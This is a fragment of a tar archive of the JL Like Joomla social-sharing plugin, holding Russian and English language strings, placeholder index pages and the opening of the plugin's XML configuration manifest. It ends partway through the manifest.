PLG_JLLIKEPRO_PRIORITE_DOMEN_DESC = "Укажите приоритетный домен: www.ваш_домен.ru - c www, либо ваш_домен.ru - без www."
PLG_JLLIKEPRO_ENABLE_FC = "Включить Facebook"
PLG_JLLIKEPRO_ENABLE_VK = "Включить Vkontakte"
PLG_JLLIKEPRO_ENABLE_TW = "Включить Twitter"
PLG_JLLIKEPRO_ENABLE_OD = "Включить Odnoklassniki"
PLG_JLLIKEPRO_ENABLE_GG = "Включить Google+"
PLG_JLLIKEPRO_ENABLE_MM = "Включить Moi Mir"
PLG_JLLIKEPRO_ENABLE_LI = "Включить LinkedIn"
PLG_JLLIKEPRO_ENABLE_YA = "Включить Я.ру"
PLG_JLLIKEPRO_ENABLE_PI = "Включить Pinterest"

PLG_JLLIKEPRO_TITLE_FC = "FaceBook"
PLG_JLLIKEPRO_TITLE_VK = "Вконтакте"
PLG_JLLIKEPRO_TITLE_TW = "Twitter"
PLG_JLLIKEPRO_TITLE_OD = "Одноклассники"
PLG_JLLIKEPRO_TITLE_GG = "Google+"
PLG_JLLIKEPRO_TITLE_MM = "Мой мир"
PLG_JLLIKEPRO_TITLE_LI = "LinkedIn"
PLG_JLLIKEPRO_TITLE_YA = "Я.ру"
PLG_JLLIKEPRO_TITLE_PI = "Pinterest"
PLG_JLLIKEPRO_TITLE_ALL="Всего лайков"

PLG_JLLIKEPRO_ZOO_BEFORE_TEXT = "Под текстом"
PLG_JLLIKEPRO_ZOO_AFTER_TEXT = "Над текстом"
PLG_JLLIKEPRO_ZOO_TEXT_NO = "Не выводить"
PLG_JLLIKEPRO_SHOW_ZOO_LABEL = "Выберите позицию вывода плагина"
PLG_JLLIKEPRO_SHOW_ZOO_DESC = "Выберите позицию вывода плагина: Над текстом - под названием, Под текстом - После текста."
PLG_JLLIKEPRO_ZOO_SETTINGS = "Настройки отображения виджета в компоненте ZOO"

PLG_JLLIKEPRO_OGTAG_LABEL = "Включить тег image"
PLG_JLLIKEPRO_OGTAG_DESC = "Включить получение информации о изображении для OG: тегов из базы данных, применимо для VIRTUEMART,K2,JoomShopping. ВНИМАНИЕ! Возрастет нагрузка на хостинг."

PLG_JLLIKEPRO_JQLOAD_LABEL = "Подгрузить JQuery библиотеку"
PLG_JLLIKEPRO_JQLOAD_DESC = "Подгрузить JQuery библиотеку, отключите эту настройку если ваш шаблон уже подгружает библиотеку JQ"

PLG_JLLIKEPRO_JQLOADC_LABEL = "Подгрузить JQuery в контенте"
PLG_JLLIKEPRO_JQLOADC_DESC = "Подгрузить библиотеку JQuery , для контента (материалы)"

PLG_JLLIKEPRO_EASYBLOG_SETTINGS = "Настройки EasyBlog"
PLG_JLLIKEPRO_SHOW_EASYBLOG_LABEL = "Выберите позицию вывода плагина"
PLG_JLLIKEPRO_SHOW_EASYBLOG_DESC = "Выберите позицию вывода плагина"
PLG_JLLIKEPRO_EASYBLOG_BEFORE_TITLE = "Над заголовком"
PLG_JLLIKEPRO_EASYBLOG_AFTER_TITLE = "Под заголовком"
PLG_JLLIKEPRO_EASYBLOG_AFTER_TEXT = "В подвале"
PLG_JLLIKEPRO_EASYBLOG_TEXT_NO = "Не выводить"
PLG_JLLIKEPRO_PROVIDERS="Кнопки социальных сетей"
PLG_JLLIKEPRO_WITHOUT_WWW="Без www"
PLG_JLLIKEPRO__WITH_WWW="C www"
PLG_JLLIKEPRO_LOAD_SHARES="Вывод кнопок"
PLG_JLLIKEPRO_LOAD_SHARES_DESC="Вывод кнопок в материалах Joomla. Вверху или внизу."
PLG_JLLIKEPRO_TOP="Сверху"
PLG_JLLIKEPRO_BOTTOM="Снизу"
PLG_JLLIKEPRO_ALLOW_IN_CAT="Разрешить в категориях"
PLG_JLLIKEPRO_ALLOW_IN_CAT_DESC="Разрешает вывод кнопок в блоге категории материалов Joomla и K2"
PLG_JLLIKEPRO_PUNYCODDE_CONVERT="Конвертировать Punycode"
PLG_JLLIKEPRO_PUNYCODDE_CONVERT_DESC="Конвертировать Punycode. Включайте если у вас кириллический домен или ссылки."
PLG_JLLIKEPRO_PUNYCODDE_CONVERTOR_NOT_INSTALLED="Punycode конвертор не установлен. Вы должны установить библиотеку idna_convert, входящую в дистрибутив плагина."
PLG_JLLIKEPRO_IMAGES="Источник изображений"
PLG_JLLIKEPRO_IMAGES_DESC="Источник изображений контента."
PLG_JLLIKEPRO_FROM_FIELDS="Поля изображений"
PLG_JLLIKEPRO_FROM_TEXT="Текст"
PLG_JLLIKEPRO_ADD_OPENGRAPH="Включить Opengraph"
PLG_JLLIKEPRO_ADD_OPENGRAPH_DESC="Включить разметку Opengraph"

PLG_JLLIKELOCK_DESC_SOURCE="Источник описания"
PLG_JLLIKELOCK_DESC_SOURCE_DESC="Источник описания для лайка"
PLG_JLLIKELOCK_INTRO="Предварительный текст"
PLG_JLLIKELOCK_FULL="Полное описание"
PLG_JLLIKEPRO_DISABLE_MORE_LIKES="Запретить много лайков"
PLG_JLLIKEPRO_DISABLE_MORE_LIKES_DESC="Запретить ставить больше одноголайка на статью."
PLG_JLLIKEPRO_K2_TRIGGER="Место вывода"
PLG_JLLIKEPRO_K2_TRIGGER_DESC="Место вывода кнопок, соответствует расположению триггеров в шаблоне к2."
PLG_JLLIKEPRO_BUTTON_TEXT="Текст над кнопками"
PLG_JLLIKEPRO_BUTTON_TEXT_DESC="Текст над кнопками"
PLG_JLLIKEPRO_ENABLE_TWIT="Разрешить твит"
PLG_JLLIKEPRO_ENABLE_TWIT_DESC="Разрешить твит выделенного текста"
PLG_JLLIKEPRO_PARENT_CONTAYNER_LABEL="Родительский контейнер"
PLG_JLLIKEPRO_PARENT_CONTAYNER_DESC="Родительский контейнер кнопок выше которого сторонний текст."
PLG_JLLIKEPRO_DESC="Краткое описание"
PLG_JLLIKEPRO_FULL="Полное опиание"
PLG_JLLIKEPRO_META="Metadescription"
PLG_JLLIKEPRO_DESC_SOURCE_ONE="Источник описания 1"
PLG_JLLIKEPRO_DESC_SOURCE_ONE_DESC="Источник описания 1"
PLG_JLLIKEPRO_DESC_SOURCE_TWO="Источник описания 2"
PLG_JLLIKEPRO_DESC_SOURCE_TWO_DESC="Источник описания 2"
PLG_JLLIKEPRO_DESC_SOURCE_THREE="Источник описания 3"
PLG_JLLIKEPRO_DESC_SOURCE_THREE_DESC="Источник описания 3"
PLG_JLLIKEPRO_DEFAULT_IMAGE="Изображение по умолчанию"
PLG_JLLIKEPRO_DEFAULT_IMAGE_DESC="Изображение по умолчанию"
PLG_JLLIKEPRO_ENABLE_OPENGRAPH="Разрешить opengraph"
PLG_JLLIKEPRO_ENABLE_OPENGRAPH_DESC="Разрешить opengraph"
PLG_JLLIKEPRO_ENABLE_ALL="Выводить общий счетчик"
PLG_JLLIKEPRO_ENABLE_ALL_DESC="Выводить общий счетчик лайков всех социальных сетей"

PLG_JLLIKEPRO_SETTINGS_BUTTONS_STYLE="Оформление кнопок"
PLG_JLLIKEPRO_BUTTONS_BORDER_RADIUS="Скругление кнопок"
PLG_JLLIKEPRO_BUTTONS_BORDER_RADIUS_DESC="Скругление кнопок, пиксели, только цифра"
PLG_JLLIKEPRO_BUTTONS_DIMENSIONS="Размеры кнопок"
PLG_JLLIKEPRO_BUTTONS_DIMENSIONS_DESC="Высота и ширина кнопок указывается в пикселях, только цифра"
PLG_JLLIKEPRO_BUTTONS_MARGIN="Расстояние"
PLG_JLLIKEPRO_BUTTONS_MARGIN_DESC="Расстояние между кнопками указывается в пикселях, только цифра"
PLG_JLLIKEPRO_BUTTONS_FONT_SIZE="Размер шрифта"
PLG_JLLIKEPRO_BUTTONS_FONT_SIZE_DESC="Размер шрифта кнопки указывается в rem, только цифра"
PLG_JLLIKEPRO_DONATE_LINK="<a style='text-decoration:none; color: #c0c0c0; font-family: arial,helvetica,sans-serif; font-size: 5pt;' target='_blank' href='https://joomline.ru/'>Разработка расширений Joomla</a>"
PLG_JLLIKEPRO_ENABLE_MOBILE_CSS="Разрешить мобильный css"
PLG_JLLIKEPRO_ENABLE_MOBILE_CSS_DESC="Разрешить мобильный css на старнице просмотра статьи"
PLG_JLLIKEPRO_ORDER="Порядок"
PLG_JLLIKEPRO_ORDER_DESC="Порядок иконки в линии"
PLG_JLLIKEPRO_CENTER="По центру"
PLG_JLLIKEPRO_CLEAR_PLUGIN_TAGS="Удалять тэги плагинов"
PLG_JLLIKEPRO_CLEAR_PLUGIN_TAGS_DESC="Удалять тэги других плагинов из текстов."

PLG_JLLIKEPRO_ENABLE_LJ="Включить LiveJournal"
PLG_JLLIKEPRO_ENABLE_BL="Включить Blogger"
PLG_JLLIKEPRO_ENABLE_WB="Включить Weibo"
PLG_JLLIKEPRO_TITLE_LJ="LiveJournal"
PLG_JLLIKEPRO_TITLE_BL="Blogger"
PLG_JLLIKEPRO_TITLE_WB="Weibo"

PLG_JLLIKEPRO_TITLE_TL="Telegram"
PLG_JLLIKEPRO_ENABLE_TL="Включить Telegram"
PLG_JLLIKEPRO_TITLE_WA="WhatsApp"
PLG_JLLIKEPRO_ENABLE_WA="Включить WhatsApp"
PLG_JLLIKEPRO_TITLE_VI="Viber"
PLG_JLLIKEPRO_ENABLE_VI="Включить Viber"
LG_JLLIKEPRO_ENABLECOUNTERS="Разрешить счетчики"
LG_JLLIKEPRO_ENABLECOUNTERS_DESC="Разрешить счетчики для кнопок"

PLG_JLLIKEPRO_ENABLE_FIX_BUTTONS="Зафиксировать кнопки"
PLG_JLLIKEPRO_ENABLE_FIX_BUTTONS_DESC="При активации настройки, кнопки будут всегда зафиксированы на середине страницы, слева"

PLG_JLLIKE_DESC_ALL="<p>Плагин социальных кнопок Joomla. Подробнее о настройке плагина вы можете прочитать на <a target="_blank" href="https://joomline.ru/rasshirenija/plugin/jllike.html">официальной странице</a>.</p><p>Для поддержки расширений: K2, JoomShopping, ADSManager. Активируйте плагины интеграции.</p><h3>Пожертвуй на развитие плагина JL Like</h3><p>Расширение развивается и существует исключительно на пожертвования пользователей.</p><div><iframe frameborder='0' allowtransparency='true' scrolling='no' src='https://joomline.ru/donatenew.html?solution=JLLike' width='100%' height='800'></iframe></div>"                                                                                                                            content/jllike/language/index.html                                                                  0000705                 00000000054 15242051520 0013241 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    content/jllike/language/en-GB/en-GB.plg_content_jllike.ini                                          0000705                 00000023734 15242051520 0017404 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       
PLG_JLLIKEPRO_SETTINGS_CONTENT = "Display Options plugin in com_content"
PLG_JLLIKEPRO_AUTOADD_LABEL = "Auto add into"
PLG_JLLIKEPRO_AUTOADD_DESC = "Specify whether to automatically add comment form to each item"
PLG_JLLIKEPRO_EXCLUDE_CATEGORY_LABEL = "Delete category"
PLG_JLLIKEPRO_EXCLUDE_CATEGORY_DESC = "Specify the category in which there is no plugin to add comments"
PLG_JLLIKEPRO_YES = "Yes"
PLG_JLLIKEPRO_NO = "No"
PLG_JLLIKEPRO_POSITION_LABEL = "Location"
PLG_JLLIKEPRO_POSITION_DESC = "Specify the location of the buttons relative to the boundaries"
PLG_JLLIKEPRO_RIGHT = "right"
PLG_JLLIKEPRO_LEFT = "left"
PLG_JLLIKEPRO_SETTINGS_K2 = "Display Settings plugin K2"
PLG_JLLIKEPRO_CATEGORY_K2_LABEL = "Select component category K2"
PLG_JLLIKEPRO_SHOW_LABEL = "Display"
PLG_JLLIKEPRO_SHOW_DESC = "Select the desired block for output"
PLG_JLLIKEPRO_SHOW_TEXT = "Under the text"
PLG_JLLIKEPRO_SHOW_FOOTER = "in the basement"
PLG_JLLIKEPRO_SHOW_NO = "No"
PLG_JLLIKEPRO_METKAVMON_LABEL = "Enable manual output"
PLG_JLLIKEPRO_METKAVMON_DESC = "Enable manual output"
PLG_JLLIKEPRO_METKAVM_LABEL = "Specify the location of the output plug-in"
PLG_JLLIKEPRO_METKAVM_DESC = "Enter the unit such as: div or p ... as well as the class of the unit: div.test or p.test, where. Test - class power"
PLG_JLLIKEPRO_DOP = "Advanced Settings"

PLG_JLLIKEPRO_SETTINGS_VIRTUEMART = "Display Settings plugin component VirtueMart"
PLG_JLLIKEPRO_AUTOADD_DESC_VIRTUEMART = "Specify whether to automatically add a comment form for each description of goods"

PLG_JLLIKEPRO_SETTINGS_ADSMANAGER = "Setting the plugin in the component AdsManager"
PLG_JLLIKEPRO_SETTINGS_JSHOPMANAGER = "Display Settings plugin component JoomShopping"

PLG_JLLIKEPRO_SOCIAL_SHARE_TOP = "top"
PLG_JLLIKEPRO_SOCIAL_SHARE_MIDDLE = "Downtown"
PLG_JLLIKEPRO_SOCIAL_SHARE_BOTTOM = "bottom"
PLG_JLLIKEPRO_SOCIAL_SHARE_POSITION = "Select the position output plugin"
PLG_JLLIKEPRO_SOCIAL_SHARE_POSITION_DESC = "Select the item Output plug: Upstairs - called, in the center - after the button is added to the cart, at the bottom - the comment block."
PLG_JLLIKEPRO_SETTINGS = "Output Settings"
PLG_JLLIKEPRO_LOADLIBS_LABEL = "download section libraries"
PLG_JLLIKEPRO_LOADLIBS_DESC = "download section libraries"
PLG_JLLIKEPRO_SEC1 = "Section 1"
PLG_JLLIKEPRO_SEC2 = "Section 2"
PLG_JLLIKEPRO_TYPESGET_LABEL = "type of data"
PLG_JLLIKEPRO_TYPESGET_DESC = "Select your preferred type of data from the social. Networks."
PLG_JLLIKEPRO_FILEGET = "file_get_content ()"
PLG_JLLIKEPRO_CURL = "CURL ()"

PLG_JLLIKEPRO_PRIORITE_DOMEN_LABEL = "Specify the priority domain"
PLG_JLLIKEPRO_PRIORITE_DOMEN_DESC = "Specify the priority domain: www.yourdomain.ru - c www, or yourdomain.com A - without the www."
PLG_JLLIKEPRO_ENABLE_FC = "Enable Facebook"
PLG_JLLIKEPRO_ENABLE_VK = "Enable Vkontakte"
PLG_JLLIKEPRO_ENABLE_TW = "Enable Twitter"
PLG_JLLIKEPRO_ENABLE_OD = "Enable Odnoklassniki"
PLG_JLLIKEPRO_ENABLE_GG = "Enable google+"
PLG_JLLIKEPRO_ENABLE_MM = "Enable Moi Mir"
PLG_JLLIKEPRO_ENABLE_LI = "Enable LinkedIn"
PLG_JLLIKEPRO_ENABLE_YA = "Enable YA.RU"
PLG_JLLIKEPRO_ENABLE_PI = "Enable Pinterest"

PLG_JLLIKEPRO_TITLE_FC = "FaceBook"
PLG_JLLIKEPRO_TITLE_VK = "Vkontakte"
PLG_JLLIKEPRO_TITLE_TW = "Twitter"
PLG_JLLIKEPRO_TITLE_OD = "Odnoklassniki"
PLG_JLLIKEPRO_TITLE_GG = "Google+"
PLG_JLLIKEPRO_TITLE_MM = "Moi Mir"
PLG_JLLIKEPRO_TITLE_LI = "LinkedIn"
PLG_JLLIKEPRO_TITLE_YA = "YA.RU"
PLG_JLLIKEPRO_TITLE_PI = "Pinterest"
PLG_JLLIKEPRO_TITLE_ALL="All Likes count"

PLG_JLLIKEPRO_ZOO_BEFORE_TEXT = "Under the text"
PLG_JLLIKEPRO_ZOO_AFTER_TEXT = "Above the text"
PLG_JLLIKEPRO_ZOO_TEXT_NO = "Suppress"
PLG_JLLIKEPRO_SHOW_ZOO_LABEL = "Select the position output plugin"
PLG_JLLIKEPRO_SHOW_ZOO_DESC = "Select the item Output plug: Above text - entitled, under the text - after the text."
PLG_JLLIKEPRO_ZOO_SETTINGS = "Edvance view IN ZOO"

PLG_JLLIKEPRO_OGTAG_LABEL = "IMAGE Add to OG: TAG"
PLG_JLLIKEPRO_OGTAG_DESC = "Enable to obtain information on the image to OG: tags from a database that is applicable to VIRTUEMART and K2. WARNING will increase the load on the host."

PLG_JLLIKEPRO_JQLOAD_LABEL = "Load the JQuery library"
PLG_JLLIKEPRO_JQLOAD_DESC = "Load the JQuery library, version 1.7.1"

PLG_JLLIKEPRO_JQLOADC_LABEL = "Load the JQuery content"
PLG_JLLIKEPRO_JQLOADC_DESC = "Load the JQuery library, version 1.7.1 in content"

PLG_JLLIKEPRO_EASYBLOG_SETTINGS = "Display Settings widget in the component EasyBlog"
PLG_JLLIKEPRO_SHOW_EASYBLOG_LABEL = "Select the position of the output plug-in"
PLG_JLLIKEPRO_SHOW_EASYBLOG_DESC = "Select the position of the output plug-in"
PLG_JLLIKEPRO_EASYBLOG_BEFORE_TITLE = "Above the headline"
PLG_JLLIKEPRO_EASYBLOG_AFTER_TITLE = "Under"
PLG_JLLIKEPRO_EASYBLOG_AFTER_TEXT = "In the basement"
PLG_JLLIKEPRO_EASYBLOG_TEXT_NO = "Do not show"
PLG_JLLIKEPRO_PROVIDERS="Social shares"
PLG_JLLIKEPRO_WITHOUT_WWW="Without www"
PLG_JLLIKEPRO__WITH_WWW="With www"
PLG_JLLIKEPRO_LOAD_SHARES="Output buttons"
PLG_JLLIKEPRO_LOAD_SHARES_DESC="Output buttons at the top, bottom, or on both sides of content"
PLG_JLLIKEPRO_TOP="Top"
PLG_JLLIKEPRO_BOTTOM="Bottom"
PLG_JLLIKEPRO_ALLOW_IN_CAT="Allow to categories"
PLG_JLLIKEPRO_ALLOW_IN_CAT_DESC="Enables output of buttons in blog category lists."
PLG_JLLIKEPRO_PUNYCODDE_CONVERT="Convert Punycode"
PLG_JLLIKEPRO_PUNYCODDE_CONVERT_DESC="Convert Punycode. Include if you Cyrillic domain or links."
PLG_JLLIKEPRO_PUNYCODDE_CONVERTOR_NOT_INSTALLED="Punycode converter is not installed. You must install the library idna_convert, in the distribution of the plugin."
PLG_JLLIKEPRO_IMAGES="Source image"
PLG_JLLIKEPRO_IMAGES_DESC="Source image content."
PLG_JLLIKEPRO_FROM_FIELDS="Image field"
PLG_JLLIKEPRO_FROM_TEXT="Text"
PLG_JLLIKEPRO_ADD_OPENGRAPH="Enable Opengraph"
PLG_JLLIKEPRO_ADD_OPENGRAPH_DESC="Enable markup Opengraph."
PLG_JLLIKELOCK_DESC_SOURCE="Description source"
PLG_JLLIKELOCK_DESC_SOURCE_DESC="Description source for like"
PLG_JLLIKELOCK_INTRO="Intro text"
PLG_JLLIKELOCK_FULL="Full text"
PLG_JLLIKEPRO_DISABLE_MORE_LIKES="Disable more likes"
PLG_JLLIKEPRO_DISABLE_MORE_LIKES_DESC="Only one like from article"
PLG_JLLIKEPRO_K2_TRIGGER="The output area"
PLG_JLLIKEPRO_K2_TRIGGER_DESC="The output location of buttons corresponds to the location of the triggers in the template K2."
PLG_JLLIKEPRO_BUTTON_TEXT="Button text"
PLG_JLLIKEPRO_BUTTON_TEXT_DESC="Text above buttons"
PLG_JLLIKEPRO_ENABLE_TWIT="Enable twit"
PLG_JLLIKEPRO_ENABLE_TWIT_DESC="Enable selected text twit"
PLG_JLLIKEPRO_PARENT_CONTAYNER_LABEL="Parent contayner"
PLG_JLLIKEPRO_PARENT_CONTAYNER_DESC="The parent container of the buttons above which third-party text."
PLG_JLLIKEPRO_DESC="Description"
PLG_JLLIKEPRO_FULL="Full text"
PLG_JLLIKEPRO_META="Metadescription"
PLG_JLLIKEPRO_DESC_SOURCE_ONE="Description source one"
PLG_JLLIKEPRO_DESC_SOURCE_ONE_DESC="Like description source one"
PLG_JLLIKEPRO_DESC_SOURCE_TWO="Description source two"
PLG_JLLIKEPRO_DESC_SOURCE_TWO_DESC="Like description source two"
PLG_JLLIKEPRO_DESC_SOURCE_THREE="Description source three"
PLG_JLLIKEPRO_DESC_SOURCE_THREE_DESC="Like description source three"
PLG_JLLIKEPRO_DEFAULT_IMAGE="Default image"
PLG_JLLIKEPRO_DEFAULT_IMAGE_DESC="Default image"
PLG_JLLIKEPRO_ENABLE_OPENGRAPH="Enable opengraph"
PLG_JLLIKEPRO_ENABLE_OPENGRAPH_DESC="Enable opengraph"
PLG_JLLIKEPRO_ENABLE_ALL="Display the total count"
PLG_JLLIKEPRO_ENABLE_ALL_DESC="Display the total count of all the likes of social networking"

PLG_JLLIKEPRO_SETTINGS_BUTTONS_STYLE="Buttons style"
PLG_JLLIKEPRO_BUTTONS_BORDER_RADIUS="Roundness buttons, pixels, only digit"
PLG_JLLIKEPRO_BUTTONS_BORDER_RADIUS_DESC="Roundness buttons, pixels, only digit"
PLG_JLLIKEPRO_BUTTONS_DIMENSIONS="Button Dimensions"
PLG_JLLIKEPRO_BUTTONS_DIMENSIONS_DESC="Width and height of buttons, pixels, only digit"
PLG_JLLIKEPRO_BUTTONS_MARGIN="Button margin"
PLG_JLLIKEPRO_BUTTONS_MARGIN_DESC="The distance between the buttons, pixels, only digit"
PLG_JLLIKEPRO_BUTTONS_FONT_SIZE="Font size"
PLG_JLLIKEPRO_BUTTONS_FONT_SIZE_DESC="Button font size, rem, only digit"
PLG_JLLIKEPRO_DONATE_LINK="<a style='text-decoration:none; color: #c0c0c0; font-family: arial,helvetica,sans-serif; font-size: 5pt;' target='_blank' href='http://joomline.org/extensions/scripts-other-developments/jllike.html'>Social button for Joomla</a>"
PLG_JLLIKEPRO_ENABLE_MOBILE_CSS="Enable mobile css"
PLG_JLLIKEPRO_ENABLE_MOBILE_CSS_DESC="Enable mobile css to content view"
PLG_JLLIKEPRO_ORDER="Order"
PLG_JLLIKEPRO_ORDER_DESC="Order icon in line"
PLG_JLLIKEPRO_CENTER="Center"
PLG_JLLIKEPRO_CLEAR_PLUGIN_TAGS="Delete plugins tags"
PLG_JLLIKEPRO_CLEAR_PLUGIN_TAGS_DESC="Delete other plugins tags from the texts."

PLG_JLLIKEPRO_ENABLE_LJ="Enable LiveJournal"
PLG_JLLIKEPRO_ENABLE_BL="Enable Blogger"
PLG_JLLIKEPRO_ENABLE_WB="Enable Weibo"
PLG_JLLIKEPRO_TITLE_LJ="LiveJournal"
PLG_JLLIKEPRO_TITLE_BL="Blogger"
PLG_JLLIKEPRO_TITLE_WB="Weibo"

PLG_JLLIKEPRO_TITLE_TL="Telegram"
PLG_JLLIKEPRO_ENABLE_TL="Enable Telegram"
PLG_JLLIKEPRO_TITLE_WA="WhatsApp"
PLG_JLLIKEPRO_ENABLE_WA="Enable WhatsApp"
PLG_JLLIKEPRO_TITLE_VI="Viber"
PLG_JLLIKEPRO_ENABLE_VI="Enable Viber"
LG_JLLIKEPRO_ENABLECOUNTERS="Enable Counters"
LG_JLLIKEPRO_ENABLECOUNTERS_DESC="Enable Counters for share buttons"

PLG_JLLIKEPRO_ENABLE_FIX_BUTTONS="Dock buttons"
PLG_JLLIKEPRO_ENABLE_FIX_BUTTONS_DESC="When the setting is activated, the buttons will always be docked in the middle of the page, on the left"

PLG_JLLIKE_DESC_ALL="<p>Social buttons plugin Joomla. More information about the plugin configuration you can read on the <a target="_blank" href="https://joomline.net/extensions/jl-like.html">official website</a></p><p>To support extensions: K2, JoomShopping, ADSManager. Activate integration plugins.</p> <h3>Donate plugin JL Like</h3><p>The extension is developing and exists solely on user donations.</p><div><iframe frameborder='0' allowtransparency='true' scrolling='no' src='https://joomline.ru/donateen.html' width='100%' height='800'></iframe></div>"                                    content/jllike/language/en-GB/en-GB.plg_content_jllike.sys.ini                                      0000705                 00000001057 15242051520 0020213 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PLG_JLLIKE_DESC_ALL="<p>Social buttons plugin Joomla. More information about the plugin configuration you can read on the <a target="_blank" href="https://joomline.net/extensions/jl-like.html">official website</a></p><p>To support extensions: K2, JoomShopping, ADSManager. Activate integration plugins.</p> <h3>Donate plugin JL Like</h3><p>The extension is developing and exists solely on user donations.</p><div><iframe frameborder='0' allowtransparency='true' scrolling='no' src='https://joomline.ru/donateen.html' width='100%' height='800'></iframe></div>"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/jllike/language/en-GB/index.html                                                            0000705                 00000000054 15242051520 0014131 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    content/jllike/jllike.xml                                                                           0000705                 00000075603 15242051520 0011471 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8.0" type="plugin" group="content" method="upgrade">
    <name>JL Like</name>
    <author>JoomLine</author>
    <creationDate>29.11.2020</creationDate>
    <copyright>(C) 2012-2020 by Artem Zhukov, Arkadiy Sedelnikov and Vadim Kunicin(https://joomline.ru)</copyright>
    <license>GNU/GPL: http://www.gnu.org/copyleft/gpl.html</license>
    <authorEmail>sale@joomline.ru</authorEmail>
    <authorUrl>https://joomline.ru</authorUrl>
    <version>4.1.0</version>
    <description>PLG_JLLIKE_DESC_ALL</description>
   <files>
        <folder>js</folder>
        <folder>language</folder>
        <folder>elements</folder>
        <filename plugin="jllike">jllike.php</filename>
        <filename>helper.php</filename>
    </files>
    <media folder="media/jllikezooel" destination="zoo/elements/jllikezooel">
        <filename>jllikezooel.php</filename>
        <filename>jllikezooel.xml</filename>
    </media>
    <languages folder="language">
        <language tag="en-GB">en-GB/en-GB.plg_content_jllike.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_content_jllike.sys.ini</language>
        <language tag="ru-RU">ru-RU/ru-RU.plg_content_jllike.ini</language>
		<language tag="ru-RU">ru-RU/ru-RU.plg_content_jllike.sys.ini</language>    
        </languages>
    <config>
        <fields
                name="params">
            <fieldset
                    label="PLG_JLLIKEPRO_PROVIDERS"
                    name="providers"
                    >
                <field
                        name="addfacebook"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_ENABLE_FC"
                        description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="facebook_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="1"
                        required="true"
                        filter="integer"
                />
                <field
                        name="addvk"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_ENABLE_VK"
                        description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="vk_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="2"
                        required="true"
                        filter="integer"
                />
                <field
                        name="addtw"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_ENABLE_TW"
                        description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="tw_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="3"
                        required="true"
                        filter="integer"
                />
                <field
                        name="addod"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_ENABLE_OD"
                        description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="od_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="4"
                        required="true"
                        filter="integer"
                />
                <field
                        name="addmail"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_ENABLE_MM"
                        description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="mail_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="6"
                        required="true"
                        filter="integer"
                />
                <field
                        name="addlin"
                        type="radio"
                        default="1"
                        label="PLG_JLLIKEPRO_ENABLE_LI"
                        description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="lin_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="7"
                        required="true"
                        filter="integer"
                />
                <field name="addpi"
                       type="radio"
                       default="1"
                       label="PLG_JLLIKEPRO_ENABLE_PI"
                       description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="pi_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="8"
                        required="true"
                        filter="integer"
                />
                <field name="addlj"
                       type="radio"
                       default="1"
                       label="PLG_JLLIKEPRO_ENABLE_LJ"
                       description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="lj_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="9"
                        required="true"
                        filter="integer"
                />				
					<field name="addbl"
                       type="radio"
                       default="1"
                       label="PLG_JLLIKEPRO_ENABLE_BL"
                       description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="bl_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
                        description="PLG_JLLIKEPRO_ORDER_DESC"
                        default="10"
                        required="true"
                        filter="integer"
                />				
				<field name="addwb"
                       type="radio"
                       default="1"
                       label="PLG_JLLIKEPRO_ENABLE_WB"
                       description=""
                        >
                    <option value="0">PLG_JLLIKEPRO_NO</option>
                    <option value="1">PLG_JLLIKEPRO_YES</option>
                </field>
                <field
                        name="wb_order"
                        type="text"
                        label="PLG_JLLIKEPRO_ORDER"
